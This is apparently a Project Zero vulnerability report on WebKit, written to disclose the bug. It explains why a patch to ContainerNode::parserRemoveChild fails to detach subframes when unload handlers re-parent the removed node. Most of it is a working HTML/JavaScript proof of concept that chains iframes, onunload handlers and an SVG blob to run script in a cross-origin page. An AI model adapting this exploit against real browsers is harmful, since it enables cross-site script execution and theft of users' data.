Reported by [email protected], Feb 16 2017
Here's the patch of #1110. https://trac.webkit.org/changeset/212218/trunk/Source/WebCore/dom/ContainerNode.cpp
void ContainerNode::parserRemoveChild(Node& oldChild)
{
disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
...
}(a) was added for the fix. But in |disconnectSubframesIfNeeded|, which fires unload event handlers, |oldChild|'s parent may be replaced. As a result, subframes of |oldChild| will be not detached.
PoC:
<body>
<div>
<b>
<p>
<script>
d = document.querySelector('div');
p = document.querySelector('p');
p.parentElement.appendChild(document.createElement('iframe')).contentWindow.onunload = () => {
document.body.appendChild(p);
d.remove();
f = p.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
document.documentElement.innerHTML = '';
f.src = 'javascript:alert(location)';
let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(document.createElementNS('http://www.w3.org/1999/xhtml', 'iframe')).contentWindow.onunload = () => {
document.documentElement.appendChild(parent.f.parentElement.parentElement.parentElement);
};
</sc` + `ript>
<element a="1" a="2" />
</svg>`;
let tmp = document.documentElement.appendChild(document.createElement('iframe'));
tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
};
f.src = 'https://abc.xyz/';
};
</script>
</b>
</p>
</div>
</body>Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1132